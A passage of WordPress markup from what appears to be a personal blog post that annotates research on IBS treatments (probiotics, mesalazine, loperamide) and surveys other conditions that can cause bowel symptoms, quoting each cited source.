/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://scielo.isciii.es/pdf/diges/v105n1/original4.pdf#page=1\">Effect of probiotic species on irritable bowel syndrome symptoms:A bring up to date meta-analysis</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study only looked at species, and not at formulation. Also, I don’t trust that some probiotics improve pain, but not distension. That doesn’t make sense.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://lh3.googleusercontent.com/GqMUYE2BjG5CWvQfcimTf9mp5ZlN4BsKG_pJzwf47UuTyktOEW9466BAuIKOyWMQAgqY1lw8nzp2UrMPv7RFc6MUOMsycpjbUGL-1_mOhyd1hPv8nMJRgQoydktSOvmfYAmBRBJG\" alt=\"\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/books/NBK77020/\">The utility of probiotics in the treatment of irritable bowel syndrome: a systematic review - Database of Abstracts of Reviews of Effects (DARE): Quality-assessed Reviews - NCBI Bookshelf (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta study. It discusses that the only properly performed studies that showed a good effect were on B.infantis.&nbsp;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sixteen RCTs (n=1,342) met the inclusion criteria. Studies scored between 5 and 12 points on the Rome II methodology scale. Eleven studies were considered to be of suboptimal design (precise definition of suboptimal was not clear).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Two of the appropriately-designed RCTs evaluated Bifidobacterium infantis 35624 and reported statistically significant improvements in abdominal pain/discomfort, bloating/distension and/or bowel movement relative to placebo (p&lt;0.05). In these two trials B. infantis 35624 was given daily for four or eight weeks as 1x1010 live cells in malted milk drink or 1x106, 1x108 or 1x1010 colony forming units per millilitre in capsule form. None of the other studies described as appropriately designed showed significant improvements in IBS symptoms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No studies reported quantifiable data on relative tolerability or adverse events.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.1080/03007995.2017.1292230\">Efficacy of Bifidobacterium infantis 35624 in patients with irritable bowel syndrome: a meta-analysis: Current Medical Research and Opinion: Vol 33, No 7 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This is a meta study on B. infantis specifically. They found that single B. infantis didn’t help, but combination B. infantis did. That doesn’t really make sense to me. I’d bet it’s a formulation problem.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A total of five studies were identified as suitable for inclusion, including three studies with single probiotic <em>B. infantis</em> and two studies with composite probiotics containing <em>B. infantis</em>. Treatment with single probiotic <em>B. infantis</em> didn’t impact on abdominal pain, bloating/distention, or bowel habit satisfaction among IBS patients. However, patients who received composite probiotics containing <em>B. infantis</em> had significantly reduced abdominal pain (SMD, 0.22; 95% CI, 0.03–0.41) and bloating/distention (SMD, 0.30; 95% CI, 0.04–0.56). After combining the data from six studies, the improvement of bloating/distention among IBS patients remained significant (SMD, 0.21; 95% CI, 0.07–0.35).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Mesalazine</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mesalazine is probably not effective in IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://gut.bmj.com/content/65/1/82.short\">Randomised controlled trial of mesalazine in IBS | Gut (bmj.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>So, this paper basically found that both placebo and mesalazine had the same “response rate”, which was 67%. Then they tried to rescue it by doing a bunch of complicated statistics, but it really didn’t work that well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For the primary endpoint, the responder patients were 68.6% in the mesalazine group versus 67.4% in the placebo group (p=0.870; 95% CI −12.8 to 15.1). In explorative analyses, with the 75% rule or >75% rule, the percentage of responders was greater in the mesalazine group with a difference over placebo of 11.6% (p=0.115; 95% CI −2.7% to 26.0%) and 5.9% (p=0.404; 95% CI −7.8% to 19.4%), respectively, although these differences were not significant. For the key secondary endpoint, overall symptoms improved in the mesalazine group and reached a significant difference of 15.1% versus placebo (p=0.032; 95% CI 1.5% to 28.7%) with the >75% rule.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Loperamide</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://link.springer.com/content/pdf/10.1007/BF01296258.pdf#page=1\">https://link.springer.com/content/pdf/10.1007/BF01296258.pdf#page=1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>This study basically showed that loperamide works well.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Loperamide treatment accelerated gastric emptying, compared with placebo (1.2 +- 0.1 vs 1.5 +- 0.1 hr; P &lt; 0.001) and delayed both small bowel (6.2 + 0.3 vs 4.3 + 0.3 hr; P &lt; 0.001) and whole gut transit (56 +- 5 vs 42 +_ 4 hr; P &lt; 0.01). Eighteen patients said they felt better taking loperamide compared with placebo and, at follow up, 15 of these patients remained satisfied with the effects of the drug. Most symptoms improved significantly on placebo compared with the baseline period, but three of these [diarrhea (P &lt; 0.01), urgency (P &lt; 0.01) and borborygmi (P &lt; 0.05)] showed a further significant improvement on loperamide. Improvement in diarrhea was not associated with any change in stool weight but was associated with reductions in stool frequency (P &lt; 0.001), passage of unformed stools (P &lt; 0.01), and incidence of urgency (P &lt; 0.001).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365529609006766\">A Double-Blind Placebo-Controlled Trial with Loperamide in Irritable Bowel Syndrome: Scandinavian Journal of Gastroenterology: Vol 31, No 5 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide improved IBS symptoms, but increased pain at night.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Clinical variables and social and personal relationships were similar for the loperamide group (<em>n</em> = 35), the placebo group (<em>n</em> = 34), the dropouts (<em>n</em> = 21), and the controls. Somatic diseases and mental disturbances were increased in the patients compared with the controls. Throughout the 5 weeks of treatment an improved stool consistency (32%), reduced defecation frequency (36%), and reduced intensity of pain (30%) were found in the loperamide group. An increase in nightly pain was observed in the loperamide group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528709091004\">Loperamide Treatment of the Irritable Bowel Syndrome: Scandinavian Journal of Gastroenterology: Vol 22, No sup130 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide helped diarrhea but made constipation worse (duh).</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In a group of patients with painless diarrhoea (n = 16) there was a highly significant improvement in stool frequency and consistency. In a group with alternating bowel habits and abdominal pain (n = 21) there was also a statistically significant improvement in stool frequency and consistency as well as significantly fewer painful days during loperamide treatment. Patients with alternating bowel habits and no pain (n = 12) experienced no symptomatic improvement, and patients with constipation (n = 9) generally felt worse on loperamide. No side effects were encountered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.3109/00365528709091003\">Loperamide in Treatment of Irritable Bowel Syndrome—A Double-Blind Placebo Controlled Study: Scandinavian Journal of Gastroenterology: Vol 22, No sup130 (tandfonline.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Loperamide helps diarrhea and diarrhea-related symptoms.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The effects of loperamide in patients with IBS (all had diarrhoea as a main symptom) were studied in a double-blind placebo controlled trial. Subjective overall response, stool consistency and six individual symptoms (urgency, pain, frequency, flatulence, borborygmi and painful propulsions) were studied over a 13 week long treatment period. Twenty-one patients out of 25 completed the trial, 11 in the loperamide group and 10 in the placebo group. A significant advantage for loperamide was found for stool consistency (p&lt;0.001), pain (p&lt;0.02) and urgency (p&lt;0.05). Subjective overall response was also significantly better in the loperamide group (p&lt;0.03).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3>How I came up with my list of diagnoses</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><strong>Diverticulitis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diverticulosis-diverticulitis/symptoms-causes\"><strong>Symptoms &amp; Causes of Diverticular Disease | NIDDK (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Most people with </strong><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diverticulosis-diverticulitis\"><strong>diverticulosis</strong></a><strong> do not have symptoms. If your diverticulosis causes symptoms, they may include</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.niddk.nih.gov/Dictionary/B/bloating\"><strong>bloating</strong></a></li><li><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/constipation\"><strong>constipation</strong></a><strong> or </strong><a href=\"https://www.niddk.nih.gov/health-information/digestive-diseases/diarrhea\"><strong>diarrhea</strong></a></li><li><strong>cramping or pain in your lower </strong><a href=\"https://www.niddk.nih.gov/Dictionary/A/abdomen\"><strong>abdomen</strong></a></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>In most cases, when you have diverticular bleeding, you will suddenly have a large amount of red or maroon-colored blood in your </strong><a href=\"https://www.niddk.nih.gov/Dictionary/S/stool\"><strong>stool</strong></a><strong>.</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Studies have found links between diverticular disease—diverticulosis that causes symptoms or problems such as diverticular bleeding or diverticulitis—and the following factors:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><strong>certain medicines—including </strong><a href=\"https://medlineplus.gov/painrelievers.html\"><strong>nonsteroidal anti-inflammatory drugs</strong></a><strong> </strong><strong><em>NIH external link</em></strong><strong> (NSAIDs), such as </strong><a href=\"https://medlineplus.gov/druginfo/meds/a682878.html\"><strong>aspirin</strong></a><strong> </strong><strong><em>NIH external link</em></strong><strong>, and </strong><a href=\"https://medlineplus.gov/steroids.html\"><strong>steroids</strong></a><strong> </strong><strong><em>NIH external link</em></strong></li><li><strong>lack of exercise</strong></li><li><a href=\"https://www.niddk.nih.gov/Dictionary/O/obesity\"><strong>obesity</strong></a></li><li><strong>smoking</strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Testing for colon cancer:&nbsp;</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1093/annonc/mdq168\">Sci-Hub | Primary colon cancer: ESMO Clinical Practice Guidelines for diagnosis, adjuvant treatment and follow-up | 10.1093/annonc/mdq168 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>About 70% of patients with colon cancer are &gt;65 years of age and the disease is rare under the age of 45 (2 per 100 000/year).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Colorectal cancer most commonly occurs sporadically and is inherited in only 5%–10% of cases. Migrant studies indicate that when populations move from a low-risk area (e.g. Japan) to a high-risk area (e.g. the USA), the incidence increases rapidly within the first generation of migrants.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Smoking has consistently been associated with large colorectal adenomas, which are generally accepted as precursors for cancer. An updated review suggested a temporal pattern consistent with an induction period of three to four decades between genotoxic exposure and the diagnosis of colorectal cancer. In the USA one in five colorectal cancers may be potentially attributable to tobacco use.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Inflammatory bowel diseases (Crohn’s disease and ulcerative colitis) increase the risk of colon cancer</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patients who have had previous malignant disease are also at great risk of developing a second colorectal tumour</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The metabolic syndrome (high blood pressure, increased waist circumference, hypertriglyceridaemia, low levels of high-density lipoprotein cholesterol or diabetes/ hyperglycaemia) had a modest, positive association with colorectal cancer incidence among men, but not among women</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because early cancer produces no symptoms and because many of the symptoms are non-specific (change in bowel habits, general abdominal discomfort, weight loss with no apparent cause, constant tiredness),</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;Up to now two strategies have been available: faecal occult blood test (FOBT) and endoscopy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC1773686/#:~:text=Colorectal%20cancer%20(CRC)%20is%20one,an%20increased%20risk%20of%20CRC.\">Influence of dietary factors on colorectal cancer survival (nih.gov)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Colorectal cancer (CRC) is one of the most common cancers in the Western world. It is widely accepted that environmental factors, especially dietary factors, are involved in the aetiology of CRC. High intakes of fat, red meat, refined sugar, and energy have been associated with an increased risk of CRC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Inflammatory bowel disease</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.sciencedirect.com/science/article/pii/S0016508514009196#bib18\"><strong>The Diagnostic Approach to Monogenic Very Early Onset Inflammatory Bowel Disease - ScienceDirect</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Twin studies have provided the best evidence for a genetic predisposition to IBD, which is stronger for CD than UC.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Genetic disorders that affect intestinal epithelial barrier function include dystrophic epidermolysis bullosa,32 Kindler syndrome,32 familial diarrhea caused by dominant activating mutations in guanylate cyclase C,33 X-linked ectodermal dysplasia and immunodeficiency,34 and ADAM17 deficiency.35</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As high as 40% of patients with chronic granulomatous disease develop CD-like intestinal inflammation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>VEOIBD has been described in a number of hyperinflammatory and autoinflammatory disorders such as mevalonate kinase deficiency,54, 55 phospholipase C-γ2 defects,56 familial Mediterranean fever,57, 58, 59 Hermansky–Pudlak syndrome (type 1, 4, and 6),60, 61, 62, 63, 64 X-linked lymphoproliferative syndrome type 165 and type 2,66, 67, 68 or familial hemophagocytic lymphohistiocytosis type 5</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Disorders associated with IBD-like immunopathology include B-cell defects such as common variable immunodeficiency (CVID), hyper-immunoglobulin (Ig) M syndrome, and agammaglobulinemia.75, 76, 77, 78, 79 Several other primary immune deficiencies, such as Wiskott–Aldrich syndrome80 (WAS) and atypical SCID or Omenn syndrome81, 82 can also cause IBD-like intestinal inflammation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cow’s milk protein allergy is common and can cause severe colitis that resembles UC and even requires hospitalization. It manifests typically within the first 2 to 3 months of exposure to cow’s milk protein. This may be apparent with breast-feeding or only after introducing formula feeding. Colitis resolves after cow’s milk is removed from the diet, so a trial of exclusive feeding with an amino acid–based infant formula is a customary treatment strategy for all VEOIBD diagnosed when the patient is younger than 1 year of age.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.lww.com/jpgn/FullText/2014/06000/ESPGHAN_Revised_Porto_Criteria_for_the_Diagnosis.26.aspx\">ESPGHAN Revised Porto Criteria for the Diagnosis of Inflamma... : Journal of Pediatric Gastroenterology and Nutrition (lww.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bloody diarrhea is the most common presenting symptom in UC whereas CD may present with vague abdominal pain, diarrhea, unexplained anemia, fever, weight loss, or growth retardation as frequently reported symptoms. The classic “triad” of abdominal pain, diarrhea, and weight loss occurs in only 25% of patients with CD</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hypothyroidism</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.tandfonline.com/doi/abs/10.1080/20786204.2012.10874256\"><strong>Hypothyroidism: an update: South African Family Practice: Vol 54, No 5 (tandfonline.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Arthralgias (joint pain)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cold intolerance*</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Constipation</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Depression</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Difficulty concentrating</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Menorrhagia (heavy flow)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Myalgias (muscle pain)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weakness</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Weight gain</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dry skin</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fatigue*</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hair thinning/hair loss</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Memory impairment</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Hyperthyroidism</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://academic.oup.com/jcem/article/95/6/2715/2598312?login=true\"><strong>Older Subjects with Hyperthyroidism Present with a Paucity of Symptoms and Signs: A Large Cross-Sectional Study | The Journal of Clinical Endocrinology &amp; Metabolism | Oxford Academic (oup.com)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hyperthyroidism affects 3% of women and 0.3% of males (1) and is associated with significant morbidity and mortality, mainly from cardiovascular and cerebrovascular disease (2, 3). In iodine-replete areas, the underlying diagnosis is Graves’ disease in 60–80% and toxic nodular hyperthyroidism in most others (4, 5). Patients commonly complain of fatigue, anxiety, tremor, weight loss, palpitation, and heat sensitivity. Clinical signs include tachycardia, the presence of goiter, and a tremor</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Giardiasis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1016/j.pt.2009.11.010\">Sci-Hub | Giardiasis – why do the symptoms sometimes never stop? | 10.1016/j.pt.2009.11.010 (scihubtw.tw)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Transmission of Giardia is via the faecal–oral route, either indirectly through contaminated water or food, or directly from person to person.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Giardia infection is usually associated with diarrhoea, but can be either asymptomatic or responsible for a broad clinical spectrum, with symptoms ranging from acute to chronic [4]; diarrhoea can occur with or without malabsorption syndrome; there can be nausea, vomiting, and weight loss [5]. Occasionally, Giardia infection can be associated with pruritis and urticaria [6], uveitis [7], sensitisation towards food antigens [8,9] and synovitis [10]. Children might also suffer more serious consequences, including retarded growth and development [11,12], poor cognitive function</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Carcinoid syndrome</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://journals.sagepub.com/doi/full/10.1177/1758834016675803\">Refractory carcinoid syndrome: a review of treatment options - Rachel P. Riechelmann, Allan A. Pereira, Juliana F. M. Rego, Frederico P. Costa, 2017 (sagepub.com)</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>CSy is defined as symptoms and signs of overproduction of serotonin produced by neuroendocrine tumor, such as flushing, diarrhea, dyspnea, bronchospasm, palpitation, and eventually, symptoms associated with right-sided heart failure resulting from carcinoid heart [<a href=\"https://journals.sagepub.com/doi/full/10.1177/1758834016675803#\">Bhattacharyya <em>et al.</em> 2007</a>].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Microscopic colitis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1038/ajg.2016.477\"><strong>Sci-Hub | Diagnosis and Management of Microscopic Colitis | 10.1038/ajg.2016.477 (scihubtw.tw)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;The most common symptom in patients with microscopic colitis (MC) is chronic or intermittent watery diarrhea, ranging in severity from mild to severe with dehydration and electrolyte abnormalities. Other symptoms are commonly present, including abdominal pain, weight loss, and arthralgias, each present in up to half of patients</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, the presence or absence of certain clinical features, such as older age, female sex, use of certain medications or recent initiation of any medication, weight loss, nocturnal stools, and shorter duration of diarrhea, may identify patients at higher or lower risk of having MC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Small intestinal bacterial overgrowth</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6884350/\"><strong>Small Intestinal Bacterial Overgrowth: Clinical Features and Therapeutic Management (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although abdominal bloating, gas, distension, and diarrhea are common symptoms, they do not predict positive diagnosis. Predisposing factors include proton-pump inhibitors, opioids, gastric bypass, colectomy, and dysmotility.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Eosinophilic gastroenteritis</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6556468/\"><strong>Eosinophilic gastroenteritis: diagnosis and clinical perspectives (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Mucosal EGE is the most common variety, seen in about 57%7 to 100%8,9 of cases, and presents with features of abdominal pain, nausea, vomiting, dyspepsia, diarrhea, malabsorption, or protein-losing enteropathy, which in turn may cause hypoalbuminemia, anemia, and weight loss. Additionally, the occurrence of lower-GI bleeding may imply colonic involvement.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Celiac disease</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/\"><strong>Celiac disease: From pathophysiology to treatment (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dermatitis herpetiformis is an inflammatory cutaneous disease, presenting with diffuse, symmetrical, polymorphic lesions consisting of erythema, urticarial plaques, papules, herpetiform vesiculae and blisters followed by erosions, excoriations and hyperpigmentation. It is characterized by typical histopathological and immunopathological findings. Rarely it is diagnosed in childhood but commonly appears in the third decade.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Type 1-diabetes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One of the most recognized and widely investigated disorders associated with celiac disease is type 1-diabetes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autoimmune thyroid disorders</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In patients affected by celiac disease it has been reported an increased prevalence (nearly, 2%-5%) of thyroid disorders (<em>i.e</em>., hyperthyroidism-Graves’s disease or hypothyroidism-Hashimoto’s thyroiditis), diagnosed either before than after the diagnosis of gluten-enteropathy</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Autoimmune hepatitis and other forms of liver involvement</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The involvement of liver is common among patients affected by celiac disease</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Life-long gluten-free diet</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The current available treatment for celiac disease is life-long gluten-free diet[<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/#B91\">91</a>-<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5437500/#B93\">93</a>]. Generally clinical improvement is achieved within a few weeks and the mucosal damage recovers in 1-2 years</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Bile acid malabsorption</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://scihubtw.tw/10.1016/j.cgh.2013.04.029\"><strong>Sci-Hub | Methods for Diagnosis of Bile Acid Malabsorption in Clinical Practice | 10.1016/j.cgh.2013.04.029 (scihubtw.tw)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Altered concentrations of bile acid (BA) in the colon can cause diarrhea or constipation. More than 25% of patients with irritable bowel syndrome with diarrhea or chronic diarrhea in Western countries have BA malabsorption (BAM)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although BAM is recognized in practice, the most popular current method of diagnosis includes a therapeutic trial of BA binders with symptom improvement; this approach is prevalent and the only resource available in countries like the United States where the noninvasive imaging based on scintigraphic BA retention is unavailable. Unfortunately, in certain disease states, symptoms may only improve with high doses of a BA sequestrant or binder, and the diagnosis of BAM may be missed</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Dyssnergic defecation</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/\"><strong>Diagnosis and Treatment of Dyssynergic Defecation (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Constipation is more common in women with an estimated female:male ratio of 2.2:1.<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> Its prevalence increases with advancing age, particularly after age 65.<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> African Americans,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> lower socioeconomic status,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b10-jnm-22-423\">10</a> pregnancy,<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4930297/#b14-jnm-22-423\">14</a> and neurological diseases including Parkinson’s disease and multiple sclerosis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The etiology of dyssynergic defecation is unclear. In a prospective survey of 118 patients with dyssynergia, we found that the problem began during childhood in 31% of patients, and after a particular event, such as pregnancy, trauma, or back injury in 29% of patients, and there was no cause in 40% of patients</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Lactose intolerance</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.aafp.org/afp/2002/0501/p1845.html?ref=Guzels.TV\"><strong>Lactose Intolerance - American Family Physician (aafp.org)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Common symptoms include abdominal pain and bloating, excessive flatus, and watery stool following the ingestion of foods containing lactose. Lactase deficiency is present in up to 15 percent of persons of northern European descent, up to 80 percent of blacks and Latinos, and up to 100 percent of American Indians and Asians</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Non celiac gluten sensitivity</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6182669/\"><strong>Recent advances in understanding non-celiac gluten sensitivity (nih.gov)</strong></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>&nbsp;In addition to experiencing GI symptoms, patients with NCGS most often experience a complex of extra-intestinal symptoms, including a “foggy mind”, which is described as an inability to concentrate, reduction of mnemonic capabilities, and lack of well-being as well as tiredness, headache, anxiety, numbness, joint/muscle pain, and skin rash/dermatitis</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>According to self-reported data, the prevalence rate of NCGS ranges between 0.5% and 13% in the general population <a 